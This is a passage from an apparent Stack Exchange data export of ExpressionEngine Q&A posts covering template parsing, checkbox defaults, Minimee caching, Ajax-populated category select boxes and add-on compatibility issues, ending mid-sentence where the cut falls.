  <row Id="14285" PostTypeId="2" ParentId="14283" CreationDate="2013-10-03T16:01:03.703" Score="1" Body="&lt;p&gt;Have you set the default value for the field? Otherwise when unticked that field isn't sent with the form, so will pick up the previous saved value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;shipping_same_as_billing&quot; value=&quot;0&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;shipping_same_as_billing&quot; value=&quot;1&quot; id=&quot;deliveryCheckbox&quot; {shipping_same_as_billing_checked} &amp;gt;&#xA;&amp;lt;label for=&quot;deliveryCheckbox&quot;&amp;gt;Same as Billing Address&amp;lt;/label&amp;gt;&#xA;{error:shipping_same_as_billing}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit - Update your code to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;Shipping Details&amp;lt;/h3&amp;gt;&#xA;&amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;     &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;         &amp;lt;input type=&quot;hidden&quot; name=&quot;shipping_same_as_billing&quot; value=&quot;0&quot; /&amp;gt;&#xA;         &amp;lt;label for=&quot;shipping_same_as_billing&quot; class=&quot;checkbox&quot;&amp;gt; {field:shipping_same_as_billing} Same as Billing Details &amp;lt;/label&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-10-03T16:01:03.703" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14286" PostTypeId="2" ParentId="14282" CreationDate="2013-10-03T16:16:35.007" Score="5" Body="&lt;p&gt;To a conditional to be considered a simple one, it needs to use snippets or early parsed variables. This isn't the case when you're using &lt;strong&gt;freebie&lt;/strong&gt;. Unlike &lt;strong&gt;Low Seg2cat&lt;/strong&gt;, that parses really earlier on parsing stages, Freebie parses together with all modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you remove freebie? If you can, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;section class=&quot;blog-listing&quot;&amp;gt;&#xA;    {if segment_X == &quot;&quot;}&#xA;        {exp:channel:entries&#xA;            channel=&quot;blog&quot;&#xA;            disable=&quot;categories|custom_fields|member_data|pagination&quot;&#xA;            dynamic=&quot;no&quot;&#xA;            limit='{exp:low_variables:parse var=&quot;articles_per_page&quot;}'&#xA;            parse=&quot;inward&quot;&#xA;            status='{exp:stash:get &#xA;                name=&quot;preview_status&quot;&#xA;                file=&quot;yes&quot;&#xA;                parse_tags=&quot;yes&quot;&#xA;                parse_conditionals=&quot;yes&quot;&#xA;            }'&#xA;        }&#xA;            {article_snippet}&#xA;        {/exp:channel:entries}&#xA;    {/if}&#xA;    {if segment_X == &quot;column&quot;}&#xA;        {exp:channel:entries&#xA;            channel=&quot;blog&quot;&#xA;            category=&quot;{exp:freebie:category_id segment='3'}&quot;&#xA;            dynamic=&quot;no&quot;&#xA;            limit='{exp:low_variables:parse var=&quot;articles_per_page&quot;}'&#xA;            status='{exp:stash:get &#xA;                name=&quot;preview_status&quot;&#xA;                file=&quot;yes&quot;&#xA;                parse_tags=&quot;yes&quot;&#xA;                parse_conditionals=&quot;yes&quot;&#xA;            }'&#xA;            parse=&quot;inward&quot;&#xA;        }&#xA;            {article_snippet}&#xA;        {/exp:channel:entries}&#xA;    {/if}&#xA;    {if segment_X != &quot;column&quot; AND segment_X != &quot;&quot;}&#xA;        {redirect=&quot;404&quot;}&#xA;    {/if}&#xA;&amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The unnecessary &lt;code&gt;exp:channel:entries&lt;/code&gt; will be removed before parsing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought about to put the conditionals inside the &lt;code&gt;exp:channel:entries&lt;/code&gt; opening tag, but this will allow its parsing in case of &lt;code&gt;segment_X != 'column' AND segment_X != &quot;&quot;&lt;/code&gt; and the first step to get better performance is to prevent unnecessary parsing. I added a &lt;code&gt;return=&quot;404&quot;&lt;/code&gt; just to emphasize this case and remind you that it's possible for you to have an empty &lt;code&gt;&amp;lt;section&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't remove freebie, &lt;a href=&quot;https://github.com/croxton/Switchee/tree/develop&quot; rel=&quot;nofollow&quot;&gt;switchee&lt;/a&gt; is your alternative:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;section class=&quot;blog-listing&quot;&amp;gt;&#xA;{exp:switchee variable = &quot;{freebie_2}&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;&quot;}&#xA;        {exp:channel:entries&#xA;            channel=&quot;blog&quot;&#xA;            disable=&quot;categories|custom_fields|member_data|pagination&quot;&#xA;            dynamic=&quot;no&quot;&#xA;            limit='{exp:low_variables:parse var=&quot;articles_per_page&quot;}'&#xA;            parse=&quot;inward&quot;&#xA;            status='{exp:stash:get &#xA;                name=&quot;preview_status&quot;&#xA;                file=&quot;yes&quot;&#xA;                parse_tags=&quot;yes&quot;&#xA;                parse_conditionals=&quot;yes&quot;&#xA;            }'&#xA;        }&#xA;            {article_snippet}&#xA;        {/exp:channel:entries}&#xA;    {/case}&#xA;&#xA;    {case value=&quot;column&quot;}&#xA;        {exp:channel:entries&#xA;            channel=&quot;blog&quot;&#xA;            category=&quot;{exp:freebie:category_id segment='3'}&quot;&#xA;            dynamic=&quot;no&quot;&#xA;            limit='{exp:low_variables:parse var=&quot;articles_per_page&quot;}'&#xA;            status='{exp:stash:get &#xA;                name=&quot;preview_status&quot;&#xA;                file=&quot;yes&quot;&#xA;                parse_tags=&quot;yes&quot;&#xA;                parse_conditionals=&quot;yes&quot;&#xA;            }'&#xA;            parse=&quot;inward&quot;&#xA;        }&#xA;            {article_snippet}&#xA;        {/exp:channel:entries}&#xA;    {/case}&#xA;    {case default=&quot;yes&quot;}&#xA;                {redirect=&quot;404&quot;}&#xA;    {/case}&#xA;{/exp:switchee}&#xA;&amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please, let me to know if any of the suggestions doesn't work.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2014-09-07T15:05:52.593" LastActivityDate="2014-09-07T15:05:52.593" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14287" PostTypeId="2" ParentId="14268" CreationDate="2013-10-03T18:19:35.197" Score="3" Body="&lt;p&gt;(I've given the following answer in the @devot-ee support forums, but am reposting for anyone who comes across it...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi PaleoSun,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The random tag parameter isn’t relevant here, because it’s a slightly different issue to the one that is meant to resolve...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least in the short-term, there is no real fix other than to disable caching of any template that contains Minimee queue or display tags. It turns out this is pretty much a requirement for the Queue method to work correctly.  I’ll try to explain why:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Queuing, Minimee’s template tags are initially parsed during the normal stages in EE’s parse order.  Yet instead of processing and creating the cache, it waits to see if any other queue tags are run, each time saving what it finds in the session.  When it encounters the “display” tag, it replaces it with a placeholder string (that “{f4acc930e16260a7c8fcfd443f232ba1fb6b238e}” thing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once all template processing is done, by hooking into the “template_post_parse” hook, Minimee then processes all of the tags it found during runtime, compile the results, and then replaces the placeholder string with the final result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way EE template caching works, it caches the result of normal tag parsing, but &lt;em&gt;before&lt;/em&gt; the template_post_parse hook.  That’s why the placeholder string is still there in the template, and why on subsequent runs even though the template_post_parse hook runs, Minimee won’t have any saved tags to process.&#xA;I hope that makes some sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were to ever use CE Cache, it has tags that allow you to escape it’s caching, so Minimee can still work very well alongside that, even the queue method (as long as all of Minimee’s tags are escaped).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will make a note in Minimee’s docs as to the caveat with the Queue method, and I’m sorry for the inconvenience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;John&lt;/p&gt;&#xA;" OwnerUserId="486" LastActivityDate="2013-10-03T18:19:35.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14288" PostTypeId="1" AcceptedAnswerId="14295" CreationDate="2013-10-03T18:43:21.457" Score="2" ViewCount="88" Body="&lt;p&gt;I have two select boxes and a submit button.On click of this submit button,I redirect the user to a page which is populated by data feeded from an admin panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes,I have created an admin panel which populates these select boxes and also has some data related to every single selectboxes(images,reviews etc) which will be displayed on click of submit on the redirected page.Hope I am clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done this thing with conventional way of using php,javascript.But I am trying exp engine for the first time just for learning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created the admin panel and feeded quite a lot of data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MyQuestion&lt;/strong&gt;:Its the integration that I have no clue about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1&lt;/strong&gt;.I want to assign all the value belonging to a certain column in my table to the select boxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2&lt;/strong&gt;.On click of submit button,want to populate a page with data related to both select boxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont have any clue about how to integrate my code with a template that I have using Expression Engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope I am not Misunderstood.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please correct the tagging.I am new to this stack exchange network.&lt;/p&gt;&#xA;" OwnerDisplayName="user2133" LastEditorDisplayName="user2133" LastEditDate="2013-10-03T18:48:37.757" LastActivityDate="2013-10-03T21:14:24.960" Title="Integrating my code with EE?" Tags="|ee2|templates|php|channel|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14289" PostTypeId="2" ParentId="14282" CreationDate="2013-10-03T19:35:30.060" Score="1" Body="&lt;p&gt;Templates are parsed in a certain order of functionality - not a top down approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your instance the two exp:channel:entries tags are being parsed first (so double the performance hit), then EE looks at the conditionals and removes the output of the irrelevant part of the conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;strong&gt;either&lt;/strong&gt; you have to place a single channel entries in an embed - embeds don't get included and parsed until after conditionals (so no double call overhead)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;blog/index template:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;section class=&quot;blog-listing&quot;&amp;gt;&#xA;{if &quot;{freebie_2}&quot; == &quot;&quot;}&#xA;    {embed=blog/listing&#xA;        category=&quot;&quot;&#xA;        limit='{exp:low_variables:parse var=&quot;articles_per_page&quot;}'&#xA;        status='{exp:stash:get &#xA;            name=&quot;preview_status&quot;&#xA;            file=&quot;yes&quot;&#xA;            parse_tags=&quot;yes&quot;&#xA;            parse_conditionals=&quot;yes&quot;&#xA;        }'&#xA;    }&#xA;{if:elseif &quot;{freebie_2}&quot; == &quot;column&quot;}&#xA;    {embed=blog/listing&#xA;        category=&quot;{exp:freebie:category_id segment='3'}&quot;&#xA;        limit='{exp:low_variables:parse var=&quot;articles_per_page&quot;}'&#xA;        status='{exp:stash:get &#xA;            name=&quot;preview_status&quot;&#xA;            file=&quot;yes&quot;&#xA;            parse_tags=&quot;yes&quot;&#xA;            parse_conditionals=&quot;yes&quot;&#xA;        }'&#xA;    }&#xA;{/if}&#xA;&amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;blog/listing template:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;        channel=&quot;blog&quot;&#xA;        category=&quot;{embed:category}&quot;&#xA;        disable=&quot;categories|custom_fields|member_data|pagination&quot;&#xA;        dynamic=&quot;no&quot;&#xA;        limit=&quot;{embed:limit}&quot;&#xA;        parse=&quot;inward&quot;&#xA;        status=&quot;{embed:status}&quot;&#xA;    }&#xA;    {article_snippet}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...Or try merging both channel entries into a single call using simply conditionals...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;section class=&quot;blog-listing&quot;&amp;gt;&#xA;    {exp:channel:entries&#xA;        channel=&quot;blog&quot;&#xA;        category=&quot;{if segment_2 == &quot;column&quot;}{exp:freebie:category_id segment='3'}{/if}&quot;&#xA;        disable=&quot;categories|custom_fields|member_data|pagination&quot;&#xA;        dynamic=&quot;no&quot;&#xA;        limit='{exp:low_variables:parse var=&quot;articles_per_page&quot;}'&#xA;        parse=&quot;inward&quot;&#xA;        status='{exp:stash:get &#xA;            name=&quot;preview_status&quot;&#xA;            file=&quot;yes&quot;&#xA;            parse_tags=&quot;yes&quot;&#xA;            parse_conditionals=&quot;yes&quot;&#xA;        }'&#xA;    }&#xA;        {article_snippet}&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your disable tag is incorrect btw:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;disable=&quot;categories custom_fields member_data pagination&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;disable=&quot;categories|custom_fields|member_data|pagination&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#disable&quot; rel=&quot;nofollow&quot;&gt;ref&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-10-03T19:35:30.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14290" PostTypeId="2" ParentId="13870" CreationDate="2013-10-03T19:47:43.627" Score="3" Body="&lt;p&gt;Instead of &lt;code&gt;limit=&quot;10&quot;&lt;/code&gt;, try using &lt;code&gt;event_limit=&quot;10&quot;&lt;/code&gt;. From the {exp:calendar:events} documentation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/calendar/events/#event_limit&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/calendar/events/#event_limit&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-10-03T19:47:43.627" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14291" PostTypeId="1" CreationDate="2013-10-03T19:53:05.577" Score="1" ViewCount="122" Body="&lt;p&gt;I just upgraded EE to 2.7.1 and am having problems with my Playa (4.4.5) fields that pull in Assets (2.1.4) data. I have a 'homepage' channel with a Playa field that pulls articles from a 'features' channel, which includes an Assets field for (a single) image.  Pulling any data from the Assets field (e.g., {url}) causes the template code for the Playa field to display, as if the parser has choked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, this works fine (without the Assets field):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;homepage&quot;}&#xA;        {home_features}&#xA;            &amp;lt;article&amp;gt;&#xA;                &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;                &amp;lt;p&amp;gt;{feature_summary}&amp;lt;/p&amp;gt;&#xA;                &amp;lt;a href=&quot;{page_url}&quot;&amp;gt;more info&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/article&amp;gt;&#xA;        {/home_features}    &#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this (stripped-down version) doesn't:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;homepage&quot;}&#xA;        {home_features}&#xA;            &amp;lt;article&amp;gt;&#xA;                {feature_photo}&amp;lt;img src=&quot;{url}&quot; &amp;gt;{/feature_photo} {!-- this is the Assets field --}&#xA;                &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;                &amp;lt;p&amp;gt;{feature_summary}&amp;lt;/p&amp;gt;&#xA;                &amp;lt;a href=&quot;{page_url}&quot;&amp;gt;more info&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/article&amp;gt;&#xA;        {/home_features}    &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which displays the following on the page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{home_features}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Homepage&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;more info&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{/home_features}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;('Homepage' is the title of the homepage channel entry)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assets fields seem to be working fine elsewhere on the site, just not within Playa fields.  I did sync directories and update indexes, fyi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help?  Thx!&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2013-10-09T20:24:29.707" Title="Assets field within Playa field + EE 2.7.1 causing template code to display on front end" Tags="|ee2|assets|playa|ee2-upgrades|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14292" PostTypeId="1" CreationDate="2013-10-03T20:14:57.927" Score="1" ViewCount="61" Body="&lt;p&gt;Using EE v2.6.1 MSM&#xA;Freeform Pro v4.0.12&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When login EE CP using IE8 or IE9, I'm getting compatibility issue, form listing and entries listing does not show like in Firefox or Chrome.  Also when tried to filter entries by search or by filter selections, it does not filter at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this an error on FreeForm Pro or FreeForm Pro does not work on IE browsers? Please advise and thank you. &lt;/p&gt;&#xA;" OwnerUserId="2134" LastEditorUserId="2134" LastEditDate="2013-10-03T20:23:50.793" LastActivityDate="2013-10-04T14:43:53.867" Title="Freeform Pro 4.0.12 IE8 and IE9 comparability issues" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14293" PostTypeId="1" CreationDate="2013-10-03T20:22:35.303" Score="1" ViewCount="41" Body="&lt;p&gt;Using EE v2.6.1 MSM&#xA;Freeform Pro v4.0.12&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When login EE CP using Chrome or Firefox – Under FreeForm Pro Entries listing, when filter using the search keywords or filter selection it kick you out of EE and required to login again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this an error on FreeForm Pro or is this new version functionality? Please advise, thank you. &lt;/p&gt;&#xA;" OwnerUserId="2134" LastActivityDate="2013-10-04T14:17:55.447" Title="Freeform Pro v4.0.12 Filtering Issues" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14294" PostTypeId="2" ParentId="14275" CreationDate="2013-10-03T20:44:32.420" Score="0" Body="&lt;p&gt;I haven't personally used this, but saw someone demoing it and it may be exactly what you are looking for: &lt;a href=&quot;https://github.com/ckimrie/Site-Manager&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ckimrie/Site-Manager&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="2132" LastActivityDate="2013-10-03T20:44:32.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14295" PostTypeId="2" ParentId="14288" CreationDate="2013-10-03T21:05:45.090" Score="3" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IxeRN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a category group in EE called &quot;Cars&quot; (assumes cat group ID of 2 in code below). In there you create categories with the &lt;strong&gt;Make&lt;/strong&gt;. You then create child categories of each Make with the relevant &lt;strong&gt;Model&lt;/strong&gt;. You can then create children of the models if there are &lt;strong&gt;variants&lt;/strong&gt; of the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/categories.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Channel Categories&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main landing page template has this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- MAKE --}&#xA;&amp;lt;select id=&quot;make&quot;&amp;gt;&#xA;{exp:channel:categories &#xA;    style=&quot;linear&quot;&#xA;    category_group=&quot;2&quot;&#xA;    parent_only=&quot;yes&quot;}&#xA;    &amp;lt;option value=&quot;{category_id}&quot;&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;{/exp:channel:categories}&#xA;&amp;lt;/select&amp;gt;&#xA;&#xA;{!-- MODEL --}&#xA;&amp;lt;select id=&quot;model&quot;&amp;gt;&#xA;    {!-- TO BE POPULATED VIA AJAX --}&#xA;&amp;lt;/select&amp;gt;&#xA;&#xA;{!-- VARIANT --}&#xA;&amp;lt;select id=&quot;variant&quot;&amp;gt;&#xA;    {!-- TO BE POPULATED VIA AJAX --}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Separate template in &quot;car&quot; template group, called &quot;model-list&quot; template, called via Ajax on the following URL: &lt;em&gt;/car/model-list/#&lt;/em&gt; The number is the category ID selected from the #make select above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/car/model-list template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories &#xA;    style=&quot;linear&quot;&#xA;    category_group=&quot;2&quot;&#xA;    show_empty=&quot;no&quot;&#xA;    show=&quot;{segment_3}&quot;&#xA;    parent_only=&quot;yes&quot;}&#xA;    &amp;lt;option value=&quot;{category_id}&quot;&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pulled via Ajax then inserted into the relevant part of the main template/page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then once the model is selected, the same process to get any variants but calling this URL: &lt;em&gt;/car/variant-list/#&lt;/em&gt; (again the number indicates the category ID ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/car/variant-list template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories &#xA;    style=&quot;linear&quot;&#xA;    category_group=&quot;2&quot;&#xA;    show_empty=&quot;no&quot;&#xA;    show=&quot;{segment_3}&quot;}&#xA;    &amp;lt;option value=&quot;{category_id}&quot;&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you have all the category IDs from either 2 or 3 of the selects, you can then combine them to form the category parameter in a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;channel:entries&lt;/a&gt; tag, either via JS to combine and submit or append as URL segments, or leave as separate form fields submitted to the next page and use a third-party add-on (&lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mo' Variables&lt;/a&gt; is a great one) to get the POST values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Car Details template (car/details)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;   dynamic=&quot;no&quot;&#xA;   category=&quot;{post:make}&amp;amp;{post:model}{if {post:variant}}&amp;amp;{post:variant}{/if}&quot;}&#xA;   {title}&#xA;   ...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The car entry would need to have the relevant categories selected obviously! One negative would be that the car details doesn't have a unique URL, but that could be solved by calling a lookup Ajax call after the variant is selected (or if variant options don't exist) that calls something similar to the last code above that outputs {url_title} - this is then used on a URL for the Submit button (/car/details/{url_title}) and therefore giving you a unique URL for each car.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another alternative would be to output the entire category tree as a JS variable (from the EE template) and then parse it in JS to populate the relevant select boxes, this avoiding the Ajax calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also be able to approach it using &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;relationships&lt;/a&gt; but I've not explored that option!&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-10-03T21:14:24.960" LastActivityDate="2013-10-03T21:14:24.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14296" PostTypeId="2" ParentId="14259" CreationDate="2013-10-03T21:43:33.003" Score="1" Body="&lt;p&gt;an EE and CT upgrade seemed to fix this issue&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-10-03T21:43:33.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14297" PostTypeId="2" ParentId="14165" CreationDate="2013-10-04T00:23:49.913" Score="1" Body="&lt;p&gt;You could add a hidden field with the same name before the checkboxes to add the default value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; class=&quot;hidden_recipient&quot; name=&quot;recipient_email[]&quot; value=&quot;{freeform:recipient_value1}&quot;&amp;gt;&#xA;&#xA;&amp;lt;input type=&quot;checkbox&quot; class=&quot;check_recipient&quot; value=&quot;{freeform:recipient_value2}&quot; name=&quot;recipient_email[]&quot;/&amp;gt; John Smith&#xA;&amp;lt;input type=&quot;checkbox&quot; class=&quot;check_recipient&quot; value=&quot;{freeform:recipient_value3}&quot; name=&quot;recipient_email[]&quot;/&amp;gt; Mary Smith&#xA;&amp;lt;input type=&quot;checkbox&quot; class=&quot;check_recipient&quot; value=&quot;{freeform:recipient_value4}&quot; name=&quot;recipient_email[]&quot;/&amp;gt; Jane Doe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you could use a little jQuery to clear the value of the hidden field when one of the checkboxes is checked.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;input[type=checkbox]&quot;).on( &quot;click&quot;, function(){&#xA;    var count = $(&quot;input.check_recipient:checked&quot;).length;&#xA;&#xA;    if(count &amp;gt; 0)&#xA;    {&#xA;        $('.hidden_recipient').val('');&#xA;        // You'll need to store the value somewhere in the meantime in case they uncheck again&#xA;    }&#xA;    else&#xA;    {&#xA;        // You'll need to restore the original value here&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-10-04T00:23:49.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14298" PostTypeId="2" ParentId="14081" CreationDate="2013-10-04T01:35:27.477" Score="2" Body="&lt;p&gt;There isn't a Celltype for Grid that does this yet as far as I know. But you can easily make this happen using a bit of jQuery. You can add the jQuery directly into the custom field's instructions or use &lt;a href=&quot;http://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow noreferrer&quot;&gt;CP CSS &amp;amp; JS&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will ensure that only one checkbox remains checked across a particular column in your Grid field (tested with EE 2.7.1):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $(function() {&#xA;        var checkboxes = $('#field_id_28 td[data-column-id=2] input');&#xA;        $('#field_id_28 td[data-column-id=2] input').change(function(event) {&#xA;            checkboxes.prop('checked', false);&#xA;            $(this).prop('checked', true);&#xA;        });&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just be sure to set &lt;code&gt;field_id-x&lt;/code&gt; and &lt;code&gt;data-column-id-x&lt;/code&gt; in the selector to match your field and column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4y9DG.gif&quot; alt=&quot;demo gif&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Important note:&lt;/strong&gt; If you are entering this jQuery snippet in a custom field's Field Instructions make sure it does not use space characters for the indentation. If you copy and paste directly from here it will and they will be encoded to &lt;code&gt;&amp;amp;nbsp;&lt;/code&gt; which will cause a JavaScript 